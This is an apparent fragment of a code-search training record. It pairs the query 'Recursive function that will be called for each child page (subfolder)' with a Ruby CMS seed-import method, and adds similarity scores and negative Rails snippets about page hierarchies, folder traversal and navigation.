"def index\n\n\t\t@user=current_user\n\n\t\t# We need to tell the view what to do with the profile\n\t\t# If a profile exists then display some profile information\n\t\t# If a profile doesn't exist then display a message saying to click the edit button to add a new profile\n\n\t\t# Does a valid profile exist on the user?\n\t\t@valid_profile = Profile.exists?(user_id: @user.id)\n\n\t\t# Valid profile exists\n\t\tif @valid_profile\n\n\t\t\t@user_profile = Profile.find_by(user_id: @user.id)\n\n\t\telse\n\n\t\t\t# No valid profile exists\n\t\t\t# The user can either create a new profile or request an existing one\n\t\t\t#@user_profile_requests = @user.profile_requests\n\n\t\t\t# if !current_user.profile_requests.approved(false).empty? %>\n\n\t\t\t# Create a list of user profile requests that are not set yet\n\t\t\t@user_profile_requests_not_set = @user.profile_requests.status_not_set\n\n\t\t\tif @user_profile_requests_not_set.blank?\n\n\t\t\t\t@available_profiles_collection = Profile.where(user_id: nil).order(:lastname)\n\n\t\t\tend\n\n\t\t\t# Create a list of user profile requests that are denied\n\t\t\t@user_profile_requests_denied = @user.profile_requests.status_denied\n\n\t\tend\n\n\n\n\n\tend",
"def profile_path\n view.user_path(@model.id)\n end",
"def show\n session[:return_to] = request.referer\n authorize @profile\n end",
"def show\n\t\t@equalizer_profile = current_user.equalizer_profiles.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @equalizer_profile }\n\t\t\tformat.json { render :json => @equalizer_profile }\n\t\t\tformat.yaml { render :text => @equalizer_profile.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def show\n @user = User.find(params[:id])\n can_edit_hash = Permissions.currentLoggedInOrHasMorePermissions(@current_user,@user)\n @can_edit = can_edit_hash[:has_permission]\n\n #max needs\n @can_see_pref= Permissions.is_at_least_manager(@current_user)\n\n profile_attrs = [:first_name,:last_name, :email,:phone_number]\n @first_name = @user.first_name\n @last_name = @user.last_name\n @email = @user.email\n @phone_number = @user.phone_number\n @role = @user.role\n end"
] |
[
"0.7709028",
"0.71468854",
"0.7119228",
"0.7060349",
"0.7033308",
"0.70112",
"0.6989668",
"0.6959988",
"0.6868407",
"0.68655455",
"0.67868954",
"0.67603606",
"0.67493266",
"0.67391175",
"0.67136323",
"0.667757",
"0.6676071",
"0.6668512",
"0.6641063",
"0.66336966",
"0.66178507",
"0.6581348",
"0.6559793",
"0.65235615",
"0.649365",
"0.6477802",
"0.6467062",
"0.64581186",
"0.64508486",
"0.64424205",
"0.64393795",
"0.64348906",
"0.6432815",
"0.64325905",
"0.64225376",
"0.6412966",
"0.64049697",
"0.639213",
"0.6379335",
"0.63717777",
"0.63717777",
"0.63717777",
"0.63717777",
"0.63717777",
"0.63717777",
"0.6363392",
"0.6355958",
"0.6344506",
"0.63399255",
"0.6332015",
"0.6319503",
"0.6317798",
"0.6317797",
"0.63030255",
"0.6288498",
"0.6284994",
"0.62798506",
"0.62796205",
"0.6276974",
"0.62669533",
"0.6262614",
"0.6257395",
"0.6253938",
"0.6247968",
"0.6247968",
"0.6242209",
"0.62410474",
"0.62363034",
"0.6232496",
"0.6227963",
"0.621902",
"0.6217448",
"0.62158316",
"0.62008846",
"0.6200053",
"0.6195315",
"0.6179343",
"0.6174589",
"0.6169191",
"0.6152375",
"0.6151743",
"0.61491865",
"0.61491865",
"0.61491865",
"0.61491865",
"0.61491865",
"0.61491865",
"0.61484677",
"0.61484677",
"0.6138389",
"0.61381346",
"0.61346704",
"0.6133673",
"0.61299527",
"0.6125859",
"0.611876",
"0.61184907",
"0.61165154",
"0.6112844",
"0.611251",
"0.6109303"
] |
0.0
|
-1
|
Recursive function that will be called for each child page (subfolder)
|
def import_page(path, parent)
slug = path.split("/").last
# setting page record
page =
if parent.present?
child = site.pages.where(slug: slug).first_or_initialize
child.parent = parent
child
else
site.pages.root || site.pages.new(slug: slug)
end
content_path = File.join(path, "content.html")
# If file is newer than page record we'll process it
if fresh_seed?(page, content_path)
# reading file content in, resulting in a hash
fragments_hash = parse_file_content(content_path)
# parsing attributes section
attributes_yaml = fragments_hash.delete("attributes")
attrs = YAML.safe_load(attributes_yaml)
# applying attributes
layout = site.layouts.find_by(identifier: attrs.delete("layout")) || parent.try(:layout)
category_ids = category_names_to_ids(page, attrs.delete("categories"))
target_page = attrs.delete("target_page")
page.attributes = attrs.merge(
layout: layout,
category_ids: category_ids
)
# applying fragments
old_frag_identifiers = page.fragments.pluck(:identifier)
new_frag_identifiers, fragments_attributes =
construct_fragments_attributes(fragments_hash, page, path)
page.fragments_attributes = fragments_attributes
if page.save
message = "[CMS SEEDS] Imported Page \t #{page.full_path}"
ComfortableMexicanSofa.logger.info(message)
# defering target page linking
if target_page.present?
self.target_pages ||= {}
self.target_pages[page.id] = target_page
end
# cleaning up old fragments
page.fragments.where(identifier: old_frag_identifiers - new_frag_identifiers).destroy_all
else
message = "[CMS SEEDS] Failed to import Page \n#{page.errors.inspect}"
ComfortableMexicanSofa.logger.warn(message)
end
end
import_translations(path, page)
# Tracking what page from seeds we're working with. So we can remove pages
# that are no longer in seeds
seed_ids << page.id
# importing child pages (if there are any)
Dir["#{path}*/"].each do |page_path|
import_page(page_path, page)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_subpages(dir, parent_page)\n\t\tmarkdown_files_in(dir) do |subpage|\n\n\t\t\tsubpage_path = File.basename(subpage)\n\t\t\tsubpage_info = split_info(subpage_path)\n\t\t\t\n\t\t\t# if parsable file name\n\t\t\tif subpage_info\n\t\t\t\t# file = IO.read(File.join(dir, subpage_path))\n\t\t\t\tfile = FrontMatterParser::Parser.parse_file(File.join(dir, subpage_path))\n\t\t\t\t\n\t\t\t\t# new_subpage = parent_page.subpages.create(:title => subpage_info[2], :position => subpage_info[1], :content => file)\n\t\t\t\ttitle = file['title'].present? && \"#{parent_page.section.title} / #{parent_page.title} / #{file['title']}\"\n\t\t\t\t\n\t\t\t\tnew_subpage = parent_page.subpages.find_by_title(title || subpage_info[2]) || parent_page.subpages.new(title: title || subpage_info[2])\n\t\t\t\tnew_subpage.position = subpage_info[1]\n\t\t\t\tnew_subpage.content = file.content\n\t\t\t\tnew_subpage.description = file.front_matter['description']\n\t\t\t\tnew_subpage.save\n\t\t\t\tadd_to_index(file.front_matter['keywords'], new_subpage.id)\n\t\t\t\t\t\n\t\t\t\t@touched_subpages << new_subpage.id\n\t\t\tend\n\t\tend\n\n\t\tasciidoc_files_in(dir) do |subpage|\n\n\t\t\tsubpage_path = File.basename(subpage)\n\t\t\tsubpage_info = split_info(subpage_path)\n\t\t\t\n\t\t\t# if parsable file name\n\t\t\tif subpage_info\n\t\t\t\tfile = IO.read(File.join(dir, subpage_path))\n\t\t\t\t\n\t\t\t\tRails.logger.info \"HAAAI #{parent_page.public_url}\"\n\t\t\t\t\n\t\t\t\tdocument = Asciidoctor.load file, safe: :safe, attributes: { 'showtitle' => true, 'imagesdir' => parent_page.public_url, 'skip-front-matter' => true, 'stem' => true }\n\t\t\t\thtml = document.convert\n\t\t\t\t\n\t\t\t\tnew_subpage = parent_page.subpages.find_by_title(subpage_info[2]) || parent_page.subpages.new(title: subpage_info[2])\n\t\t\t\tnew_subpage.position = subpage_info[1]\n\t\t\t\tnew_subpage.content = html\n\t\t\t\tnew_subpage.save\n\t\t\t\t@touched_subpages << new_subpage.id\n\t\t\tend\n\t\tend\n\tend",
"def children\n # Check to see whether dir exists.\n Slimdown::Folder.new(@absolute_path.chomp('.md')).pages\n end",
"def sub_pages(dir)\n sitemap.resources.select do |r|\n r.url.start_with? \"/#{dir}\"\n end\n end",
"def in_hierarchy(source, page_dir, paginate_path); end",
"def sync_child_pages\n children.each{ |p| p.save! } if full_path_changed?\n end",
"def traverse_folders(nav_level, parent, parent_link, parent_full_link, node_folder_path) \n\n\t\tnode_list = []\n\t\n\t\t#puts \"traverse_folders(#{nav_level.to_s}, #{parent}, #{node_folder_path})\"\n\t\n\t\tsubfolders = nil\n\t\tbegin\n\t\t\tsubfolders = Dir.entries(node_folder_path).select {|entry| File.directory? File.join(node_folder_path, entry) and !(entry == '.' || entry == '..' || entry == 'assets' || entry == 'images') }\n\t\trescue Errno::ENOENT\n\t\t\tputs \"ERROR: No File or Directory [#{node_folder}]\"\n\t\t\tputs puts\n\t\t\texit\n\t\tend\t \n\t\t\n\t\tsubfolders.each do |folder|\n\t\t\tnode = Map.new\n\n\t\t\tsub_path = node_folder_path + \"/\" + folder\n\t\t\n\t\t\tlink = (parent_link.length == 0 ? \"\" : parent_link + \"/\" ) + folder\n\t\t\tfull_link =\t (parent_full_link.length == 0 ? \"/\" : parent_full_link + \"/\" ) + folder\n\t\t\t\t\n\t\t\tnode = Map.new({\n\t\t\t\tdoctype: \"nav\",\n\t\t\t\tsubtype: \"nav_\" + nav_level.to_s,\n\t\t\t\tnav_type: (File.exist?(\"#{sub_path}/../#{folder}.markdown\") ? \"folder+markdown\" : \"folder\"),\n\t\t\t\tnav_level: nav_level,\n\t\t\t\tnav_order: 9000,\n\t\t\t\tnav_title: process_navigation_name(folder),\t\t\t \n\t\t\t\tsource: folder,\n\t\t\t\tlink: link,\n\t\t\t\tfull_link: full_link,\n\t\t\t\tparent: parent,\n\t\t\t\tparent_nav_title: process_navigation_name(parent_link),\n\t\t\t\tparent_link: parent_link,\n\t\t\t\tparent_full_link: parent_full_link,\n\t\t\t\tparent_path: node_folder_path,\n\t\t\t\tsource_path: sub_path,\n\t\t\t\tancestors: [],\n\t\t\t\tancestors_links: [],\n\t\t\t\tsiblings: [],\n\t\t\t\tsiblings_links: [],\n\t\t\t\tdescendants: [],\n\t\t\t\tdescendants_links: [],\n\t\t\t\tnavigation_yml: (File.exists? (sub_path + \"/aaaa-navigation.yml\")),\n\t\t\t\tindex_erb: (File.exists? (sub_path + \"/index.erb\"))\n\t\t\t})\n\t\t\t\t\n\t\t\titems = traverse_folders(nav_level + 1, folder, link, full_link, sub_path)\n\t\t\n\t\t\tif items.size > 0\n\t\t\t\t node.children = {}\n\t\t\t\t node.children.count = items.size\n\t\t\t\t node.children.items = items\n\t\t\tend\n\t\t\n\t\t\tnode_list << node\n\t\tend\n\t\n\t\tnode_list\n\t \n\tend",
"def get_entries(dir, subfolder); end",
"def recursive_create_page(page, parent=nil)\n Globalize.locale = @master_locale\n puts \"#{page['title']}\"\n p = Refinery::Page.find_by_title page['title']\n if not p or p.parent != parent\n puts \"+++ Create page #{page['title']} (#{page['type']})\"\n if parent then\n p = parent.children.create :title => page['title'],\n :deletable => false,\n :view_template => page['type']\n else\n p = Refinery::Page.create :title => page['title'],\n :deletable => false,\n :view_template => page['type']\n end\n else\n puts \" === Found existing page #{page['title']} (#{page['type']})\"\n end\n if page.has_key?('skip_to_first_child') and page['skip_to_first_child'] != p.skip_to_first_child\n p.skip_to_first_child = page['skip_to_first_child']\n p.save\n end\n if page['parts'] then\n page['parts'].each_pair do |key, part|\n puts \" ++ create page part #{key}\"\n pp = p.parts.find_by_title(key)\n pp.body = part.strip\n pp.save\n end\n end\n if page['children'] then\n page['children'].each do |child|\n recursive_create_page child, p\n end\n end\n end",
"def children_of(page)\n children = (page_repository.children_of(page) || [])\n children\n .map { |child| decorate_page(child) }\n .select { |child| self.include_page?(child) }\n end",
"def subpage_navigation(page)\n l = \"<ul>\\n\"\n page.pages.each do |page|\n l << page_navigation_helper(page)\n end\n l << \"</ul>\"\n end",
"def add_page_to_tree(page)\n if !page.root?\n #puts \"page: #{page}\"\n #puts \"page.fullpath: #{page.fullpath}\"\n #puts \"page.parent_id: #{page.parent_id}\"\n page.parent = @remote_pages_by_id[page.parent_id]\n #puts \"page.parent: #{page.parent}\"\n #puts \"page.parent.class: #{page.parent.class}\"\n #puts \"page.parent.children: #{page.parent.children}\"\n page.parent.children << page\n end\n end",
"def children\n @pages = @page.children\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = @parent_page.children\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def recursive => nil",
"def generate_recurse(entry)\n keyword = entry.full_name\n\n if keyword\n puts keyword\n @current_content = service.info(keyword) #lookup(keyword)\n else\n keyword = ''\n @current_content = \"Welcome\"\n end\n\n file = entry.file_name\n file = File.join(output, file)\n\n #file = keyword\n #file = file.gsub('::', '--')\n #file = file.gsub('.' , '--')\n #file = file.gsub('#' , '-')\n #file = File.join(output, file + '.html')\n\n write(file, service.info(keyword))\n\n cmethods = entry.class_methods.map{ |x| x.to_s }.sort\n cmethods.each do |name|\n mname = \"#{entry.full_name}.#{name}\"\n mfile = WebRI.entry_to_path(mname)\n mfile = File.join(output, mfile)\n #mfile = File.join(output, \"#{entry.file_name}/c-#{esc(name)}.html\")\n write(mfile, service.info(mname))\n end\n\n imethods = entry.instance_methods.map{ |x| x.to_s }.sort\n imethods.each do |name|\n mname = \"#{entry.full_name}##{name}\"\n mfile = WebRI.entry_to_path(mname)\n mfile = File.join(output, mfile)\n #mfile = File.join(output, \"#{entry.file_name}/i-#{esc(name)}.html\")\n write(mfile, service.info(mname))\n end\n\n entry.subspaces.each do |child_name, child_entry|\n next if child_entry == entry\n @directory_depth += 1\n generate_recurse(child_entry)\n @directory_depth -= 1\n end\n end",
"def children_for page, title\n page.children.create({\n :title => title,\n :deletable => true,\n :status => 'live',\n :show_in_menu => true,\n :parent_id => page.id\n })\nend",
"def index\n @page_hierarchies = PageHierarchy.all\n end",
"def children\n return @children if !@children.nil?\n @children = all_children.find_all{|collection| collection.url.count('/') == self.url.count('/') + 1}\n end",
"def render_children_for_page?(page, depth)\n depth.succ <= @_options[:depth].to_i && children_of(page).any?\n end",
"def folder_tree\n render :partial => 'folder_tree', :locals => { :site_mapping => SiteMapping.find(params[:site_mapping_id]) }\n end",
"def nested_pages(resource)\n children = resource.children.find_all { |r| nav_title(r) }\n Naturally.sort_by(children) do |r|\n [r.data['nav-weight'] || 100, nav_title(r).downcase]\n end\n end",
"def bp_directory_index\n tree_hash = BP.same_level_views(\"/base_project#{request.env['PATH_INFO']}\")\n\n p tree_hash\n\n out = \"<ul>\"\n\n tree_hash.keys.each do |tree_hash_key|\n thk = tree_hash_key.gsub(\".html.erb\", \"\")\n thk = thk.gsub(\"/mocks\", \"\")\n\n out += content_tag :li, thk.gsub(\"/\", \"\")\n\n out += \"<ul>\"\n tree_hash[tree_hash_key].each do |tree_hash_value|\n thv = tree_hash_value.gsub(\".html.erb\", \"\")\n if thv != \"index\"\n out += content_tag :li, link_to(\"#{thv}\", \"/mocks?t=#{thk}/#{thv}\")\n end\n\n end\n out += \"</ul>\"\n\n out += \"</li>\"\n end\n out += \"</ul>\"\n\n out.html_safe\nend",
"def fetch_children\n @children = []\n for item in self.listex\n if item[\"type\"] == \"folder\" and item[\"id\"]!=@id #sharefile API includes self in list\n @children << Folder.new(item[\"id\"], @authid, @subdomain, false, item)\n elsif item[\"type\"] == \"file\"\n @children << File.new(item[\"id\"], @authid, @subdomain, item)\n end\n end\n end",
"def process_pages(dir, parent_section)\n\t\t\n\t\t# each page is a descendant of a section and contains one or more markdown subpages\n\t\tsubdirs_of(dir) do |page|\n\t\t\t\n\t\t\tpage_path = File.basename(page) # only the directory name\n\t\t\tpage_info = split_info(page_path) # array of position and page name\n\n\t\t\t# if this directory name is parsable\n\t\t\tif page_info\n\t\t\t\t# create the page\n\t\t\t\t# db_page = parent_section.pages.create(:title => page_info[2], :position => page_info[1], :path => page_path)\n\t\t\t\t\n\t\t\t\tdb_page = parent_section.pages.find_by_path(page_path) || parent_section.pages.new(path: page_path)\n\t\t\t\tdb_page.title = upcase_first_if_all_downcase(page_info[2])\n\t\t\t\tdb_page.position = page_info[1]\n\t\t\t\tdb_page.save\n\n\t\t\t\t# load submit.yml config file which contains items to submit\n\t\t\t\tsubmit_config = read_config(files(page, \"submit.yml\"))\n\n\t\t\t\t# add pset to database\n\t\t\t\tif submit_config\n\t\t\t\t\t\n\t\t\t\t\tdb_pset = nil\n\t\t\t\t\t\n\t\t\t\t\tif submit_config['name']\n\t\t\t\t\t\t# checks if pset already exists under name\n\t\t\t\t\t\tdb_pset = Pset.where(:name => submit_config['name']).first_or_initialize\n\t\t\t\t\t\tdb_pset.description = page_info[2]\n\t\t\t\t\t\tdb_pset.message = submit_config['message'] if submit_config['message']\n\t\t\t\t\t\tdb_pset.form = !!submit_config['form']\n\t\t\t\t\t\tdb_pset.url = !!submit_config['url']\n\t\t\t\t\t\tdb_pset.page = db_page # restore link to owning page!\n\t\t\t\t\t\tif submit_config['files']\n\t\t\t\t\t\t\tdb_pset.files = submit_config['files']\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdb_pset.files = nil\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tdb_pset.config = submit_config\n\n\t\t\t\t\t\tdb_pset.automatic = !!db_pset.config && db_pset.config[\"automatic\"].present?\n\t\t\t\t\t\tdb_pset.save\n\t\t\t\t\t\t\n\t\t\t\t\t\tPset.where(\"id != ?\", db_pset).where(page_id: db_page).update_all(page_id: nil)\n\n\t\t\t\t\t\t# remove previous files\n\t\t\t\t\t\t# db_pset.pset_files.delete_all\n\n\t\t\t\t\t\t# always recreate so it's possible to remove files from submit\n\t\t\t\t\t\t# ['required', 'optional'].each do |modus|\n\t\t\t\t\t\t# \tif submit_config[modus]\n\t\t\t\t\t\t# \t\tsubmit_config[modus].each do |file|\n\t\t\t\t\t\t# \t\t\tdb_pset.pset_files.create(:filename => file, :required => modus == 'required')\n\t\t\t\t\t\t# \t\tend\n\t\t\t\t\t\t# \tend\n\t\t\t\t\t\t# end\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tif submit_config['dependent_grades']\n\t\t\t\t\t\tsubmit_config['dependent_grades'].each do |grade|\n\t\t\t\t\t\t\tpset = Pset.where(:name => grade).first_or_create\n\t\t\t\t\t\t\tpset.update_attribute(:page_id, db_page.id)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tPset.where(page_id: db_page).update_all(page_id: nil)\n\t\t\t\tend\n\t\t\t\tprocess_subpages(page, db_page)\n\t\t\tend\n\t\n\t\tend\n\tend",
"def find_pages_for_parents_list\n @pages_for_parents_list = []\n Page.find_all_by_parent_id(nil, :order => \"position ASC\").each do |page|\n @pages_for_parents_list << page\n @pages_for_parents_list += add_pages_branch_to_parents_list(page)\n end\n @pages_for_parents_list.flatten.compact!\n\n # We need to remove all references to the current page or any of its decendants or we get a nightmare.\n @pages_for_parents_list.reject! do |page|\n page.id == @page.id or @page.descendants.include?(page)\n end unless @page.nil? or @page.new_record?\n end",
"def each_directory_in_tree(include_self: true)\n self.directories_in_tree(include_self: include_self).find_each do |directory|\n yield directory\n end\n end",
"def children\n files = if index?\n # about/index.html => about/*\n File.expand_path('../*', @file)\n else\n # products.html => products/*\n base = File.basename(@file, '.*')\n File.expand_path(\"../#{base}/*\", @file)\n end\n\n Set.new Dir[files].\n reject { |f| f == @file || project.ignored_files.include?(f) }.\n map { |f| self.class[f, project] }.\n compact.sort\n end",
"def handle_folders(subdata)\n \t\t # Single folder\n if subdata.is_a? Hash\n \t\t\t @path_components.push(subdata[:name])\n \t\t \tparse(subdata[:contents])\n \t\t \t@path_components.slice!(-1)\n # Multiple folders\n \t\t elsif subdata.is_a? Array\n \t\t \tsubdata.each do |f|\n \t\t \t\t@path_components.push(f[:name])\n \t\t \t\tparse(f[:contents])\n \t\t \t\t@path_components.slice!(-1)\n \t\t \tend\n \t\t end\n end",
"def pages\n children.select { |c| c.page? }\n end",
"def traverse_nav_markdown(node)\n\t\n\t\t# traverse subfolders, go deep\n\t\tif node_has_children(node)\n\t\t\t node.children.items.each_with_index do |child|\n\n\t\t\t\t items = traverse_nav_markdown(child)\n\t\t\t\t child.children = Map.new unless child.children?\n\t\t\t\t child.children.count = 0 unless child.children.count?\n\t\t\t\t child.children.items = [] unless child.children.items?\n\t\t \n\t\t\t\t child.children.count = items.size\n\t\t\t\t child.children.items = items\t\t\t\t\n\n\t\t\t end\n\t\tend\n\t\n\t\tnode_list = nil\n\t\tif node.children? and node.children.items?\n\t\t\tnode_list = node.children.items\n\t\tend\n\t\n\t\tmarkdowns = Dir.glob(\"#{node.source_path}/*.markdown\")\n\t\n\t\t# if we are at the root node (content source), don't process markdowns here (home.markdown handled separately, special)\n\t\tmarkdowns = [] if node.nav_level == 0\n\t\n\n\t\tif markdowns.size > 0 and node.nav_level > 0\n\n\t\t\t#puts\n\t\t\t#puts \"#{node.source} - #{node.children?}\"\n\t\t\tnode.children = Map.new unless node.children?\n\t\t\tnode.children.count = 0 unless node.children.count?\n\t\t\tnode.children.items = [] unless node.children.items?\n\t\t\t#puts \"#{node.source} - #{node.children?} - #{node.children.count?}\"\n\t\t\n\t\t\tnode_list = node.children.items\n\t\t\t\n\t\t\tmarkdowns.each do |md|\t\t\t\t\t\t\n\t\t\t\tsource = md.gsub(/#{node.source_path}\\//, \"\").gsub(/.markdown/, \"\")\n\t\t\t\n\t\t\t\tis_cbdoc_special_file = source.start_with? \"aaab-\"\n\t\t\t\n\t\t\t\tunless is_cbdoc_special_file\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tif node.link?\n\t\t\t\t\t\tlink = node.link + \"/\" + source \n\t\t\t\t\telse\t\t \n\t\t\t\t\t\tnode.link = \"undefined\"\n\t\t\t\t\t\tputs node.nav_type\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\t\tsource_path = node.source_path + \"/\" + source\t\t\t \n\n\t\t\t\t\tis_markdown_and_folder = (File.exist?(\"#{source_path}\") && File.directory?(\"#{source_path}\"))\n\t\t\t\n\t\t\t\t\tunless is_markdown_and_folder\t\t \n\t\t\t\t\t\n\t\t\t\t\t\tfull_link = (node.link.start_with?(\"/#{CONTENT_LINK_PREFIX}/\") ?\tlink : \"/#{CONTENT_LINK_PREFIX}/\" + link )\n\t\t\t\t\t\tparent_path = node.source_path\n\t\t\t\t\t\tparent_full_link = (node.link.start_with?(\"/#{CONTENT_LINK_PREFIX}/\") ?\t node.link : \"/#{CONTENT_LINK_PREFIX}/\" + node.link )\n\t\t\t\t\n\t\t\t\t\t\titem = Map.new({\n\t\t\t\t\t\t\tdoctype: \"nav\",\n\t\t\t\t\t\t\tsubtype: \"nav_\" + (node.nav_level + 1).to_s,\n\t\t\t\t\t\t\tnav_type: \"markdown\",\n\t\t\t\t\t\t\tnav_level: node.nav_level + 1,\t\t\t\t\n\t\t\t\t\t\t\tnav_order: 9000,\n\t\t\t\t\t\t\tnav_title: process_navigation_name(source),\n\t\t\t\t\t\t\tsource: source,\n\t\t\t\t\t\t\tlink: link,\n\t\t\t\t\t\t\tfull_link: full_link,\n\t\t\t\t\t\t\tparent: node.source,\n\t\t\t\t\t\t\tparent_nav_title: node.nav_title,\n\t\t\t\t\t\t\tparent_link: node.link,\n\t\t\t\t\t\t\tparent_full_link: parent_full_link,\n\t\t\t\t\t\t\tparent_path: parent_path,\n\t\t\t\t\t\t\tsource_path: source_path,\n\t\t\t\t\t\t\tancestors: [],\n\t\t\t\t\t\t\tancestors_links: [],\n\t\t\t\t\t\t\tsiblings: [],\n\t\t\t\t\t\t\tsiblings_links: [],\n\t\t\t\t\t\t\tdescendants: [],\n\t\t\t\t\t\t\tdescendants_links: []\t\t\t\t \n\t\t\t\t\t\t})\n\t\t\t\t\t\n\t\t\t\t\t\tnode_list << item \n\t\t\t\t\tend\t\t \n\t\t\t\tend\n\t\t\tend\t\t \n\t\tend\n\t\n\t\t#ap node_list\n\t\n\t\tnode_list\n\tend",
"def scan_pages0( index, directory )\n unless index\n index = Page.new( File.join( directory, \"index.src\" ) )\n @root = index \n end\n \n @subdir_pages = get_nondir_pages( directory )\n @nondir_pages = get_subdir_pages( directory )\n \n @nondir_pages.each do |page_src|\n Page.new( page_src, index )\n end\n @subdir_pages.each do |page_src|\n page = Page.new( page_src, index )\n scan_pages( config, page, File.dirname( page_src ) )\n end\n end",
"def build_pages( page_name )\n vars = {}\n paths = page_name.split( '/' )\n loop do\n try_page = paths.join( '_' ).gsub('-','_')\n if respond_to? \"skel_#{ try_page }\"\n section_path = File.dirname( page_name )\n path_storage = storage.path_storage( section_path )\n method( \"skel_#{ try_page }\" ).call( path_storage, section_path ) do |vars|\n vars[:weblog] = self\n raise TypeError, \"No `page' variable returned from skel_#{ try_page }.\" unless vars[:page]\n yield vars\n end\n return\n end\n break unless paths.slice!( -2 ) ## go up a directory\n end\n vars[:weblog] = self\n vars[:page] = Page.new( page_name )\n vars[:page].timestamp = Time.now\n yield vars\n end",
"def multiple_children(paths)\n end",
"def flat_page_tree\n @flat_tree ||= ([{\n :key => \"page_#{self.root_page.id}\".to_sym,\n :name => self.root_page.menu_name,\n :url => self.root_page.url,\n :options => {:class => \"#{self.root_page.page_type} #{self.root_page.displayed ? '' : 'not-displayed'}\"},\n :items => []\n }] + self.root_page.children.collect {|page| page.tree_hash_value } )\n @flat_tree\n end",
"def each_child_page\n return if leaf?\n\n return enum_for(:each_child_page) unless block_given?\n\n each_record do |rec|\n yield rec.child_page_number, rec.key\n end\n\n nil\n end",
"def recurse_otml_dirs(&block)\n return unless self.has_otmls\n yield(self)\n self.children.each do |child|\n child.recurse_otml_dirs(&block)\n end\nend",
"def retrieve_pages(dir, dot_pages); end",
"def parent_dirs(file); end",
"def get_subdir_pages( directory )\n Dir[ File.join( directory, \"*.src\" ) ] - Dir[ File.join( directory, \"index.src\" ) ]\n end",
"def finish_page_dir\n return unless @page_dir\n\n @files << @page_dir\n\n page_dir = Pathname(@page_dir)\n begin\n page_dir = page_dir.expand_path.relative_path_from @root\n rescue ArgumentError\n # On Windows, sometimes crosses different drive letters.\n page_dir = page_dir.expand_path\n end\n\n @page_dir = page_dir\n end",
"def pages(treeish = nil)\n tree_list(treeish || 'master')\n end",
"def render_entry_children(context, page, depth)\n output = %{}\n\n children = children(page).reject { |c| !include_page?(c) }\n if children.present?\n dropdown_class = @source == 'site' && page.depth == 1 ? @options[:dropdown_class] : ''\n output = %{<ul id=\"#{@options[:id]}-#{page.slug.to_s.dasherize}\" class=\"#{bootstrap? ? 'dropdown-menu' : dropdown_class}\">}\n children.each do |c, page|\n css = []\n css << 'first' if children.first == c\n css << 'last' if children.last == c\n\n output << render_entry_link(context, c, css.join(' '), depth)\n end\n output << %{</ul>}\n end\n\n output\n end",
"def load_subfolder\n Dir.glob(\"#{File.dirname(@path)}/lono/**/*\").select{ |e| File.file? e }.each do |path|\n evaluate_template(path)\n end\n end",
"def directory_subdirectories(path)\n\tputs ''\n\tfor i in subdir_paths(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
"def addToRenderedPages ( directory , site , pathnames )\n\n # Iteration through files and directories inside the directory.\n directory.children.collect do |entry|\n\n # If an entry is a non-hidden directory we process its content by a recursive call.\n if entry.directory? and !entry.basename.to_s.start_with?('.')\n addToRenderedPages( entry , site , pathnames )\n next\n end\n\n # Removing '.' from the beginning of the path.\n noDotPath = entry.to_s.slice(1..entry.to_s.length-1)\n\n # Searching if files are already scheduled for rendering\n found = false\n pathnames.each { |path| if path.end_with?(noDotPath) then found=true ; break; end }\n\n # Depending whether it's a scheduled file or start with a '.', we skip to the next iteration.\n next if found or entry.basename.to_s.start_with?('.')\n\n # Adding file to rendered pages.\n pathnames.push(noDotPath)\n page = site.engine.load_page(entry.to_s)\n page.source_path = entry.to_s\n page.output_path = entry.to_s\n site.pages << page\n\n end\n\n end",
"def / aRelativePath\n access_child(aRelativePath)\n end",
"def recursive(request, response)\n response['rack.rsi'] = '1'\n response['Cache-Control'] = 'max-age=10'\n depth = ( request.params['depth'] || 1 ).to_i\n response.write(%{\n <%= rsi_include( \"/recursive?depth=#{depth+1}\", :raise_on_error ) %>\n <p>Hello World! #{depth}</p>\n }.gsub(/^\\s*/, \"\").strip)\n end",
"def sub_content \n sub_contents = []\n\n if @is_post == false\n root_regexp = Regexp.new(@root, Regexp::IGNORECASE)\n sub_directories = Dir.glob(@absolute_path + '*');\n\n sub_directories.each do |sub_directory|\n begin\n # Remove the root from the path we pass to the new Content instance.\n # REVIEW: Should we be flexible and allow for the root dir to be present?\n content = Content.new(sub_directory.sub(root_regexp, ''))\n sub_contents.push(content)\n rescue ArgumentError\n next\n end\n end\n end\n\n sub_contents.reverse\n end",
"def pages; end",
"def site_pages \n Rails.application.reload_routes!\n page_routes = Rails.application.routes.routes.select do |route|\n route.verb == \"GET\" && !route.name.blank? && !route.name.match(/^edit/) && !route.name.match(\"translat\") && !route.name.match(\"external_author\")\n end\n\n @paths = []\n @errors = []\n @errors << \"Skipping translation and external author pages because these areas are in-progress.\"\n\n page_routes.each do |r|\n path = r.path.split('(').first\n while (path.match(/:([^\\/]+)_id\\//)) do\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":#{$1}_id\", \"#{id}\") if id\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, #{$1}\"\n break\n end\n end\n\n if (path.match(/\\/([^\\/]+)\\/:id/))\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":id\", \"#{id}\")\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, id\"\n end\n end\n\n @paths << [path, r.name]\n end\n \n render :action => \"site_pages\", :layout => \"application\"\n end",
